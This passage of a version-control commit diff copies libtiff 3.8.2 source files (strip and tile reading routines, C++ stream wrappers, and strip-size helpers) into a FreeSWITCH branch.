+		if (!TIFFFillStrip(tif, strip))
+			return (0);
+	} else if (row < tif->tif_row) {
+		/*
+		 * Moving backwards within the same strip: backup
+		 * to the start and then decode forward (below).
+		 *
+		 * NB: If you're planning on lots of random access within a
+		 * strip, it's better to just read and decode the entire
+		 * strip, and then access the decoded data in a random fashion.
+		 */
+		if (!TIFFStartStrip(tif, strip))
+			return (0);
+	}
+	if (row != tif->tif_row) {
+		/*
+		 * Seek forward to the desired row.
+		 */
+		if (!(*tif->tif_seek)(tif, row - tif->tif_row))
+			return (0);
+		tif->tif_row = row;
+	}
+	return (1);
+}
+
+int
+TIFFReadScanline(TIFF* tif, tdata_t buf, uint32 row, tsample_t sample)
+{
+	int e;
+
+	if (!TIFFCheckRead(tif, 0))
+		return (-1);
+	if( (e = TIFFSeek(tif, row, sample)) != 0) {
+		/*
+		 * Decompress desired row into user buffer.
+		 */
+		e = (*tif->tif_decoderow)
+		    (tif, (tidata_t) buf, tif->tif_scanlinesize, sample);
+
+                /* we are now poised at the beginning of the next row */
+                tif->tif_row = row + 1;
+
+		if (e)
+			(*tif->tif_postdecode)(tif, (tidata_t) buf,
+			    tif->tif_scanlinesize);
+	}
+	return (e > 0 ? 1 : -1);
+}
+
+/*
+ * Read a strip of data and decompress the specified
+ * amount into the user-supplied buffer.
+ */
+tsize_t
+TIFFReadEncodedStrip(TIFF* tif, tstrip_t strip, tdata_t buf, tsize_t size)
+{
+	TIFFDirectory *td = &tif->tif_dir;
+	uint32 nrows;
+	tsize_t stripsize;
+        tstrip_t sep_strip, strips_per_sep;
+
+	if (!TIFFCheckRead(tif, 0))
+		return (-1);
+	if (strip >= td->td_nstrips) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name, "%ld: Strip out of range, max %ld",
+		    (long) strip, (long) td->td_nstrips);
+		return (-1);
+	}
+	/*
+	 * Calculate the strip size according to the number of
+	 * rows in the strip (check for truncated last strip on any
+         * of the separations).
+	 */
+        if( td->td_rowsperstrip >= td->td_imagelength )
+            strips_per_sep = 1;
+        else
+            strips_per_sep = (td->td_imagelength+td->td_rowsperstrip-1)
+                / td->td_rowsperstrip;
+
+        sep_strip = strip % strips_per_sep;
+
+	if (sep_strip != strips_per_sep-1 ||
+	    (nrows = td->td_imagelength % td->td_rowsperstrip) == 0)
+		nrows = td->td_rowsperstrip;
+
+	stripsize = TIFFVStripSize(tif, nrows);
+	if (size == (tsize_t) -1)
+		size = stripsize;
+	else if (size > stripsize)
+		size = stripsize;
+	if (TIFFFillStrip(tif, strip) 
+            && (*tif->tif_decodestrip)(tif, (tidata_t) buf, size, 
+                         (tsample_t)(strip / td->td_stripsperimage)) > 0 ) {
+		(*tif->tif_postdecode)(tif, (tidata_t) buf, size);
+		return (size);
+	} else
+		return ((tsize_t) -1);
+}
+
+static tsize_t
+TIFFReadRawStrip1(TIFF* tif,
+    tstrip_t strip, tdata_t buf, tsize_t size, const char* module)
+{
+	TIFFDirectory *td = &tif->tif_dir;
+
+	if (!isMapped(tif)) {
+		tsize_t cc;
+
+		if (!SeekOK(tif, td->td_stripoffset[strip])) {
+			TIFFErrorExt(tif->tif_clientdata, module,
+			    "%s: Seek error at scanline %lu, strip %lu",
+			    tif->tif_name,
+			    (unsigned long) tif->tif_row, (unsigned long) strip);
+			return (-1);
+		}
+		cc = TIFFReadFile(tif, buf, size);
+		if (cc != size) {
+			TIFFErrorExt(tif->tif_clientdata, module,
+		"%s: Read error at scanline %lu; got %lu bytes, expected %lu",
+			    tif->tif_name,
+			    (unsigned long) tif->tif_row,
+			    (unsigned long) cc,
+			    (unsigned long) size);
+			return (-1);
+		}
+	} else {
+		if (td->td_stripoffset[strip] + size > tif->tif_size) {
+			TIFFErrorExt(tif->tif_clientdata, module,
+    "%s: Read error at scanline %lu, strip %lu; got %lu bytes, expected %lu",
+			    tif->tif_name,
+			    (unsigned long) tif->tif_row,
+			    (unsigned long) strip,
+			    (unsigned long) tif->tif_size - td->td_stripoffset[strip],
+			    (unsigned long) size);
+			return (-1);
+		}
+		_TIFFmemcpy(buf, tif->tif_base + td->td_stripoffset[strip],
+                            size);
+	}
+	return (size);
+}
+
+/*
+ * Read a strip of data from the file.
+ */
+tsize_t
+TIFFReadRawStrip(TIFF* tif, tstrip_t strip, tdata_t buf, tsize_t size)
+{
+	static const char module[] = "TIFFReadRawStrip";
+	TIFFDirectory *td = &tif->tif_dir;
+	tsize_t bytecount;
+
+	if (!TIFFCheckRead(tif, 0))
+		return ((tsize_t) -1);
+	if (strip >= td->td_nstrips) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name, "%lu: Strip out of range, max %lu",
+		    (unsigned long) strip, (unsigned long) td->td_nstrips);
+		return ((tsize_t) -1);
+	}
+	bytecount = td->td_stripbytecount[strip];
+	if (bytecount <= 0) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+		    "%lu: Invalid strip byte count, strip %lu",
+		    (unsigned long) bytecount, (unsigned long) strip);
+		return ((tsize_t) -1);
+	}
+	if (size != (tsize_t)-1 && size < bytecount)
+		bytecount = size;
+	return (TIFFReadRawStrip1(tif, strip, buf, bytecount, module));
+}
+
+/*
+ * Read the specified strip and setup for decoding. 
+ * The data buffer is expanded, as necessary, to
+ * hold the strip's data.
+ */
+int
+TIFFFillStrip(TIFF* tif, tstrip_t strip)
+{
+	static const char module[] = "TIFFFillStrip";
+	TIFFDirectory *td = &tif->tif_dir;
+	tsize_t bytecount;
+
+	bytecount = td->td_stripbytecount[strip];
+	if (bytecount <= 0) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+		    "%lu: Invalid strip byte count, strip %lu",
+		    (unsigned long) bytecount, (unsigned long) strip);
+		return (0);
+	}
+	if (isMapped(tif) &&
+	    (isFillOrder(tif, td->td_fillorder)
+             || (tif->tif_flags & TIFF_NOBITREV))) {
+		/*
+		 * The image is mapped into memory and we either don't
+		 * need to flip bits or the compression routine is going
+		 * to handle this operation itself.  In this case, avoid
+		 * copying the raw data and instead just reference the
+		 * data from the memory mapped file image.  This assumes
+		 * that the decompression routines do not modify the
+		 * contents of the raw data buffer (if they try to,
+		 * the application will get a fault since the file is
+		 * mapped read-only).
+		 */
+		if ((tif->tif_flags & TIFF_MYBUFFER) && tif->tif_rawdata)
+			_TIFFfree(tif->tif_rawdata);
+		tif->tif_flags &= ~TIFF_MYBUFFER;
+		if ( td->td_stripoffset[strip] + bytecount > tif->tif_size) {
+			/*
+			 * This error message might seem strange, but it's
+			 * what would happen if a read were done instead.
+			 */
+			TIFFErrorExt(tif->tif_clientdata, module,
+		    "%s: Read error on strip %lu; got %lu bytes, expected %lu",
+			    tif->tif_name,
+			    (unsigned long) strip,
+			    (unsigned long) tif->tif_size - td->td_stripoffset[strip],
+			    (unsigned long) bytecount);
+			tif->tif_curstrip = NOSTRIP;
+			return (0);
+		}
+		tif->tif_rawdatasize = bytecount;
+		tif->tif_rawdata = tif->tif_base + td->td_stripoffset[strip];
+	} else {
+		/*
+		 * Expand raw data buffer, if needed, to
+		 * hold data strip coming from file
+		 * (perhaps should set upper bound on
+		 *  the size of a buffer we'll use?).
+		 */
+		if (bytecount > tif->tif_rawdatasize) {
+			tif->tif_curstrip = NOSTRIP;
+			if ((tif->tif_flags & TIFF_MYBUFFER) == 0) {
+				TIFFErrorExt(tif->tif_clientdata, module,
+				"%s: Data buffer too small to hold strip %lu",
+				    tif->tif_name, (unsigned long) strip);
+				return (0);
+			}
+			if (!TIFFReadBufferSetup(tif, 0,
+			    TIFFroundup(bytecount, 1024)))
+				return (0);
+		}
+		if (TIFFReadRawStrip1(tif, strip, (unsigned char *)tif->tif_rawdata,
+		    bytecount, module) != bytecount)
+			return (0);
+		if (!isFillOrder(tif, td->td_fillorder) &&
+		    (tif->tif_flags & TIFF_NOBITREV) == 0)
+			TIFFReverseBits(tif->tif_rawdata, bytecount);
+	}
+	return (TIFFStartStrip(tif, strip));
+}
+
+/*
+ * Tile-oriented Read Support
+ * Contributed by Nancy Cam (Silicon Graphics).
+ */
+
+/*
+ * Read and decompress a tile of data.  The
+ * tile is selected by the (x,y,z,s) coordinates.
+ */
+tsize_t
+TIFFReadTile(TIFF* tif,
+    tdata_t buf, uint32 x, uint32 y, uint32 z, tsample_t s)
+{
+	if (!TIFFCheckRead(tif, 1) || !TIFFCheckTile(tif, x, y, z, s))
+		return (-1);
+	return (TIFFReadEncodedTile(tif,
+	    TIFFComputeTile(tif, x, y, z, s), buf, (tsize_t) -1));
+}
+
+/*
+ * Read a tile of data and decompress the specified
+ * amount into the user-supplied buffer.
+ */
+tsize_t
+TIFFReadEncodedTile(TIFF* tif, ttile_t tile, tdata_t buf, tsize_t size)
+{
+	TIFFDirectory *td = &tif->tif_dir;
+	tsize_t tilesize = tif->tif_tilesize;
+
+	if (!TIFFCheckRead(tif, 1))
+		return (-1);
+	if (tile >= td->td_nstrips) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name, "%ld: Tile out of range, max %ld",
+		    (long) tile, (unsigned long) td->td_nstrips);
+		return (-1);
+	}
+	if (size == (tsize_t) -1)
+		size = tilesize;
+	else if (size > tilesize)
+		size = tilesize;
+	if (TIFFFillTile(tif, tile) && (*tif->tif_decodetile)(tif,
+	    (tidata_t) buf, size, (tsample_t)(tile/td->td_stripsperimage))) {
+		(*tif->tif_postdecode)(tif, (tidata_t) buf, size);
+		return (size);
+	} else
+		return (-1);
+}
+
+static tsize_t
+TIFFReadRawTile1(TIFF* tif,
+    ttile_t tile, tdata_t buf, tsize_t size, const char* module)
+{
+	TIFFDirectory *td = &tif->tif_dir;
+
+	if (!isMapped(tif)) {
+		tsize_t cc;
+
+		if (!SeekOK(tif, td->td_stripoffset[tile])) {
+			TIFFErrorExt(tif->tif_clientdata, module,
+			    "%s: Seek error at row %ld, col %ld, tile %ld",
+			    tif->tif_name,
+			    (long) tif->tif_row,
+			    (long) tif->tif_col,
+			    (long) tile);
+			return ((tsize_t) -1);
+		}
+		cc = TIFFReadFile(tif, buf, size);
+		if (cc != size) {
+			TIFFErrorExt(tif->tif_clientdata, module,
+	    "%s: Read error at row %ld, col %ld; got %lu bytes, expected %lu",
+			    tif->tif_name,
+			    (long) tif->tif_row,
+			    (long) tif->tif_col,
+			    (unsigned long) cc,
+			    (unsigned long) size);
+			return ((tsize_t) -1);
+		}
+	} else {
+		if (td->td_stripoffset[tile] + size > tif->tif_size) {
+			TIFFErrorExt(tif->tif_clientdata, module,
+    "%s: Read error at row %ld, col %ld, tile %ld; got %lu bytes, expected %lu",
+			    tif->tif_name,
+			    (long) tif->tif_row,
+			    (long) tif->tif_col,
+			    (long) tile,
+			    (unsigned long) tif->tif_size - td->td_stripoffset[tile],
+			    (unsigned long) size);
+			return ((tsize_t) -1);
+		}
+		_TIFFmemcpy(buf, tif->tif_base + td->td_stripoffset[tile], size);
+	}
+	return (size);
+}
+
+/*
+ * Read a tile of data from the file.
+ */
+tsize_t
+TIFFReadRawTile(TIFF* tif, ttile_t tile, tdata_t buf, tsize_t size)
+{
+	static const char module[] = "TIFFReadRawTile";
+	TIFFDirectory *td = &tif->tif_dir;
+	tsize_t bytecount;
+
+	if (!TIFFCheckRead(tif, 1))
+		return ((tsize_t) -1);
+	if (tile >= td->td_nstrips) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name, "%lu: Tile out of range, max %lu",
+		    (unsigned long) tile, (unsigned long) td->td_nstrips);
+		return ((tsize_t) -1);
+	}
+	bytecount = td->td_stripbytecount[tile];
+	if (size != (tsize_t) -1 && size < bytecount)
+		bytecount = size;
+	return (TIFFReadRawTile1(tif, tile, buf, bytecount, module));
+}
+
+/*
+ * Read the specified tile and setup for decoding. 
+ * The data buffer is expanded, as necessary, to
+ * hold the tile's data.
+ */
+int
+TIFFFillTile(TIFF* tif, ttile_t tile)
+{
+	static const char module[] = "TIFFFillTile";
+	TIFFDirectory *td = &tif->tif_dir;
+	tsize_t bytecount;
+
+	bytecount = td->td_stripbytecount[tile];
+	if (bytecount <= 0) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+		    "%lu: Invalid tile byte count, tile %lu",
+		    (unsigned long) bytecount, (unsigned long) tile);
+		return (0);
+	}
+	if (isMapped(tif) &&
+	    (isFillOrder(tif, td->td_fillorder)
+             || (tif->tif_flags & TIFF_NOBITREV))) {
+		/*
+		 * The image is mapped into memory and we either don't
+		 * need to flip bits or the compression routine is going
+		 * to handle this operation itself.  In this case, avoid
+		 * copying the raw data and instead just reference the
+		 * data from the memory mapped file image.  This assumes
+		 * that the decompression routines do not modify the
+		 * contents of the raw data buffer (if they try to,
+		 * the application will get a fault since the file is
+		 * mapped read-only).
+		 */
+		if ((tif->tif_flags & TIFF_MYBUFFER) && tif->tif_rawdata)
+			_TIFFfree(tif->tif_rawdata);
+		tif->tif_flags &= ~TIFF_MYBUFFER;
+		if ( td->td_stripoffset[tile] + bytecount > tif->tif_size) {
+			tif->tif_curtile = NOTILE;
+			return (0);
+		}
+		tif->tif_rawdatasize = bytecount;
+		tif->tif_rawdata = tif->tif_base + td->td_stripoffset[tile];
+	} else {
+		/*
+		 * Expand raw data buffer, if needed, to
+		 * hold data tile coming from file
+		 * (perhaps should set upper bound on
+		 *  the size of a buffer we'll use?).
+		 */
+		if (bytecount > tif->tif_rawdatasize) {
+			tif->tif_curtile = NOTILE;
+			if ((tif->tif_flags & TIFF_MYBUFFER) == 0) {
+				TIFFErrorExt(tif->tif_clientdata, module,
+				"%s: Data buffer too small to hold tile %ld",
+				    tif->tif_name, (long) tile);
+				return (0);
+			}
+			if (!TIFFReadBufferSetup(tif, 0,
+			    TIFFroundup(bytecount, 1024)))
+				return (0);
+		}
+		if (TIFFReadRawTile1(tif, tile,
+                                     (unsigned char *)tif->tif_rawdata,
+                                     bytecount, module) != bytecount)
+			return (0);
+		if (!isFillOrder(tif, td->td_fillorder) &&
+		    (tif->tif_flags & TIFF_NOBITREV) == 0)
+			TIFFReverseBits(tif->tif_rawdata, bytecount);
+	}
+	return (TIFFStartTile(tif, tile));
+}
+
+/*
+ * Setup the raw data buffer in preparation for
+ * reading a strip of raw data.  If the buffer
+ * is specified as zero, then a buffer of appropriate
+ * size is allocated by the library.  Otherwise,
+ * the client must guarantee that the buffer is
+ * large enough to hold any individual strip of
+ * raw data.
+ */
+int
+TIFFReadBufferSetup(TIFF* tif, tdata_t bp, tsize_t size)
+{
+	static const char module[] = "TIFFReadBufferSetup";
+
+	if (tif->tif_rawdata) {
+		if (tif->tif_flags & TIFF_MYBUFFER)
+			_TIFFfree(tif->tif_rawdata);
+		tif->tif_rawdata = NULL;
+	}
+	if (bp) {
+		tif->tif_rawdatasize = size;
+		tif->tif_rawdata = (tidata_t) bp;
+		tif->tif_flags &= ~TIFF_MYBUFFER;
+	} else {
+		tif->tif_rawdatasize = TIFFroundup(size, 1024);
+		tif->tif_rawdata = (tidata_t) _TIFFmalloc(tif->tif_rawdatasize);
+		tif->tif_flags |= TIFF_MYBUFFER;
+	}
+	if (tif->tif_rawdata == NULL) {
+		TIFFErrorExt(tif->tif_clientdata, module,
+		    "%s: No space for data buffer at scanline %ld",
+		    tif->tif_name, (long) tif->tif_row);
+		tif->tif_rawdatasize = 0;
+		return (0);
+	}
+	return (1);
+}
+
+/*
+ * Set state to appear as if a
+ * strip has just been read in.
+ */
+static int
+TIFFStartStrip(TIFF* tif, tstrip_t strip)
+{
+	TIFFDirectory *td = &tif->tif_dir;
+
+	if ((tif->tif_flags & TIFF_CODERSETUP) == 0) {
+		if (!(*tif->tif_setupdecode)(tif))
+			return (0);
+		tif->tif_flags |= TIFF_CODERSETUP;
+	}
+	tif->tif_curstrip = strip;
+	tif->tif_row = (strip % td->td_stripsperimage) * td->td_rowsperstrip;
+	tif->tif_rawcp = tif->tif_rawdata;
+	tif->tif_rawcc = td->td_stripbytecount[strip];
+	return ((*tif->tif_predecode)(tif,
+			(tsample_t)(strip / td->td_stripsperimage)));
+}
+
+/*
+ * Set state to appear as if a
+ * tile has just been read in.
+ */
+static int
+TIFFStartTile(TIFF* tif, ttile_t tile)
+{
+	TIFFDirectory *td = &tif->tif_dir;
+
+	if ((tif->tif_flags & TIFF_CODERSETUP) == 0) {
+		if (!(*tif->tif_setupdecode)(tif))
+			return (0);
+		tif->tif_flags |= TIFF_CODERSETUP;
+	}
+	tif->tif_curtile = tile;
+	tif->tif_row =
+	    (tile % TIFFhowmany(td->td_imagewidth, td->td_tilewidth)) *
+		td->td_tilelength;
+	tif->tif_col =
+	    (tile % TIFFhowmany(td->td_imagelength, td->td_tilelength)) *
+		td->td_tilewidth;
+	tif->tif_rawcp = tif->tif_rawdata;
+	tif->tif_rawcc = td->td_stripbytecount[tile];
+	return ((*tif->tif_predecode)(tif,
+			(tsample_t)(tile/td->td_stripsperimage)));
+}
+
+static int
+TIFFCheckRead(TIFF* tif, int tiles)
+{
+	if (tif->tif_mode == O_WRONLY) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name, "File not open for reading");
+		return (0);
+	}
+	if (tiles ^ isTiled(tif)) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name, tiles ?
+		    "Can not read tiles from a stripped image" :
+		    "Can not read scanlines from a tiled image");
+		return (0);
+	}
+	return (1);
+}
+
+void
+_TIFFNoPostDecode(TIFF* tif, tidata_t buf, tsize_t cc)
+{
+    (void) tif; (void) buf; (void) cc;
+}
+
+void
+_TIFFSwab16BitData(TIFF* tif, tidata_t buf, tsize_t cc)
+{
+    (void) tif;
+    assert((cc & 1) == 0);
+    TIFFSwabArrayOfShort((uint16*) buf, cc/2);
+}
+
+void
+_TIFFSwab24BitData(TIFF* tif, tidata_t buf, tsize_t cc)
+{
+    (void) tif;
+    assert((cc % 3) == 0);
+    TIFFSwabArrayOfTriples((uint8*) buf, cc/3);
+}
+
+void
+_TIFFSwab32BitData(TIFF* tif, tidata_t buf, tsize_t cc)
+{
+    (void) tif;
+    assert((cc & 3) == 0);
+    TIFFSwabArrayOfLong((uint32*) buf, cc/4);
+}
+
+void
+_TIFFSwab64BitData(TIFF* tif, tidata_t buf, tsize_t cc)
+{
+    (void) tif;
+    assert((cc & 7) == 0);
+    TIFFSwabArrayOfDouble((double*) buf, cc/8);
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_stream.cxx

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_stream.cxx (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_stream.cxx) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_stream.cxx	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_stream.cxx	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,289 @@
+/* $Id: tif_stream.cxx,v 1.5 2005/07/26 08:11:13 dron Exp $ */
+
+/*
+ * Copyright (c) 1988-1996 Sam Leffler
+ * Copyright (c) 1991-1996 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library UNIX-specific Routines.
+ */
+#include "tiffiop.h"
+#include <iostream>
+
+using namespace std;
+
+class tiffis_data
+{
+  public:
+
+	istream	*myIS;
+        long	myStreamStartPos;
+};
+
+class tiffos_data
+{
+  public:
+
+	ostream	*myOS;
+	long	myStreamStartPos;
+};
+
+static tsize_t
+_tiffosReadProc(thandle_t, tdata_t, tsize_t)
+{
+        return 0;
+}
+
+static tsize_t
+_tiffisReadProc(thandle_t fd, tdata_t buf, tsize_t size)
+{
+        tiffis_data	*data = (tiffis_data *)fd;
+
+        data->myIS->read((char *)buf, (int)size);
+
+        return data->myIS->gcount();
+}
+
+static tsize_t
+_tiffosWriteProc(thandle_t fd, tdata_t buf, tsize_t size)
+{
+	tiffos_data	*data = (tiffos_data *)fd;
+	ostream		*os = data->myOS;
+	int		pos = os->tellp();
+
+	os->write((const char *)buf, size);
+
+	return ((int)os->tellp()) - pos;
+}
+
+static tsize_t
+_tiffisWriteProc(thandle_t, tdata_t, tsize_t)
+{
+	return 0;
+}
+
+static toff_t
+_tiffosSeekProc(thandle_t fd, toff_t off, int whence)
+{
+	tiffos_data	*data = (tiffos_data *)fd;
+	ostream	*os = data->myOS;
+
+	// if the stream has already failed, don't do anything
+	if( os->fail() )
+		return os->tellp();
+
+	switch(whence) {
+	case SEEK_SET:
+	    os->seekp(data->myStreamStartPos + off, ios::beg);
+		break;
+	case SEEK_CUR:
+		os->seekp(off, ios::cur);
+		break;
+	case SEEK_END:
+		os->seekp(off, ios::end);
+		break;
+	}
+
+	// Attempt to workaround problems with seeking past the end of the
+	// stream.  ofstream doesn't have a problem with this but
+	// ostrstream/ostringstream does. In that situation, add intermediate
+	// '\0' characters.
+	if( os->fail() ) {
+		ios::iostate	old_state;
+		toff_t		origin;
+
+		old_state = os->rdstate();
+		// reset the fail bit or else tellp() won't work below
+		os->clear(os->rdstate() & ~ios::failbit);
+		switch( whence ) {
+			case SEEK_SET:
+				origin = data->myStreamStartPos;
+				break;
+			case SEEK_CUR:
+				origin = os->tellp();
+				break;
+			case SEEK_END:
+				os->seekp(0, ios::end);
+				origin = os->tellp();
+				break;
+		}
+		// restore original stream state
+		os->clear(old_state);	
+
+		// only do something if desired seek position is valid
+		if( origin + off > data->myStreamStartPos ) {
+			toff_t	num_fill;
+
+			// clear the fail bit 
+			os->clear(os->rdstate() & ~ios::failbit);
+
+			// extend the stream to the expected size
+			os->seekp(0, ios::end);
+			num_fill = origin + off - (toff_t)os->tellp();
+			for( toff_t i = 0; i < num_fill; i++ )
+				os->put('\0');
+
+			// retry the seek
+			os->seekp(origin + off, ios::beg);
+		}
+	}
+
+	return os->tellp();
+}
+
+static toff_t
+_tiffisSeekProc(thandle_t fd, toff_t off, int whence)
+{
+	tiffis_data	*data = (tiffis_data *)fd;
+
+	switch(whence) {
+	case SEEK_SET:
+		data->myIS->seekg(data->myStreamStartPos + off, ios::beg);
+		break;
+	case SEEK_CUR:
+		data->myIS->seekg(off, ios::cur);
+		break;
+	case SEEK_END:
+		data->myIS->seekg(off, ios::end);
+		break;
+	}
+
+	return ((long)data->myIS->tellg()) - data->myStreamStartPos;
+}
+
+static toff_t
+_tiffosSizeProc(thandle_t fd)
+{
+	tiffos_data	*data = (tiffos_data *)fd;
+	ostream		*os = data->myOS;
+	toff_t		pos = os->tellp();
+	toff_t		len;
+
+	os->seekp(0, ios::end);
+	len = os->tellp();
+	os->seekp(pos);
+
+	return len;
+}
+
+static toff_t
+_tiffisSizeProc(thandle_t fd)
+{
+	tiffis_data	*data = (tiffis_data *)fd;
+	int		pos = data->myIS->tellg();
+	int		len;
+
+	data->myIS->seekg(0, ios::end);
+	len = data->myIS->tellg();
+	data->myIS->seekg(pos);
+
+	return len;
+}
+
+static int
+_tiffosCloseProc(thandle_t fd)
+{
+	// Our stream was not allocated by us, so it shouldn't be closed by us.
+	delete (tiffos_data *)fd;
+	return 0;
+}
+
+static int
+_tiffisCloseProc(thandle_t fd)
+{
+	// Our stream was not allocated by us, so it shouldn't be closed by us.
+	delete (tiffis_data *)fd;
+	return 0;
+}
+
+static int
+_tiffDummyMapProc(thandle_t , tdata_t* , toff_t* )
+{
+	return (0);
+}
+
+static void
+_tiffDummyUnmapProc(thandle_t , tdata_t , toff_t )
+{
+}
+
+/*
+ * Open a TIFF file descriptor for read/writing.
+ */
+static TIFF*
+_tiffStreamOpen(const char* name, const char* mode, void *fd)
+{
+	TIFF*	tif;
+
+	if( strchr(mode, 'w') ) {
+		tiffos_data	*data = new tiffos_data;
+		data->myOS = (ostream *)fd;
+		data->myStreamStartPos = data->myOS->tellp();
+
+		// Open for writing.
+		tif = TIFFClientOpen(name, mode,
+				(thandle_t) data,
+				_tiffosReadProc, _tiffosWriteProc,
+				_tiffosSeekProc, _tiffosCloseProc,
+				_tiffosSizeProc,
+				_tiffDummyMapProc, _tiffDummyUnmapProc);
+	} else {
+		tiffis_data	*data = new tiffis_data;
+		data->myIS = (istream *)fd;
+		data->myStreamStartPos = data->myIS->tellg();
+		// Open for reading.
+		tif = TIFFClientOpen(name, mode,
+				(thandle_t) data,
+				_tiffisReadProc, _tiffisWriteProc,
+				_tiffisSeekProc, _tiffisCloseProc,
+				_tiffisSizeProc,
+				_tiffDummyMapProc, _tiffDummyUnmapProc);
+	}
+
+	return (tif);
+}
+
+TIFF*
+TIFFStreamOpen(const char* name, ostream *os)
+{
+	// If os is either a ostrstream or ostringstream, and has no data
+	// written to it yet, then tellp() will return -1 which will break us.
+	// We workaround this by writing out a dummy character and
+	// then seek back to the beginning.
+	if( !os->fail() && (int)os->tellp() < 0 ) {
+		*os << '\0';
+		os->seekp(0);
+	}
+
+	// NB: We don't support mapped files with streams so add 'm'
+	return _tiffStreamOpen(name, "wm", os);
+}
+
+TIFF*
+TIFFStreamOpen(const char* name, istream *is)
+{
+	// NB: We don't support mapped files with streams so add 'm'
+	return _tiffStreamOpen(name, "rm", is);
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_strip.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_strip.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_strip.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_strip.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_strip.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,294 @@
+/* $Id: tif_strip.c,v 1.17 2006/03/21 16:29:33 dron Exp $ */
+
+/*
+ * Copyright (c) 1991-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library.
+ *
+ * Strip-organized Image Support Routines.
+ */
+#include "tiffiop.h"
+
+static uint32
+summarize(TIFF* tif, size_t summand1, size_t summand2, const char* where)
+{
+	/*
+	 * XXX: We are using casting to uint32 here, bacause sizeof(size_t)
+	 * may be larger than sizeof(uint32) on 64-bit architectures.
+	 */
+	uint32	bytes = summand1 + summand2;
+
+	if (bytes - summand1 != summand2) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name, "Integer overflow in %s", where);
+		bytes = 0;
+	}
+
+	return (bytes);
+}
+
+static uint32
+multiply(TIFF* tif, size_t nmemb, size_t elem_size, const char* where)
+{
+	uint32	bytes = nmemb * elem_size;
+
+	if (elem_size && bytes / elem_size != nmemb) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name, "Integer overflow in %s", where);
+		bytes = 0;
+	}
+
+	return (bytes);
+}
+
+/*
+ * Compute which strip a (row,sample) value is in.
+ */
+tstrip_t
+TIFFComputeStrip(TIFF* tif, uint32 row, tsample_t sample)
+{
+	TIFFDirectory *td = &tif->tif_dir;
+	tstrip_t strip;
+
+	strip = row / td->td_rowsperstrip;
+	if (td->td_planarconfig == PLANARCONFIG_SEPARATE) {
+		if (sample >= td->td_samplesperpixel) {
+			TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+			    "%lu: Sample out of range, max %lu",
+			    (unsigned long) sample, (unsigned long) td->td_samplesperpixel);
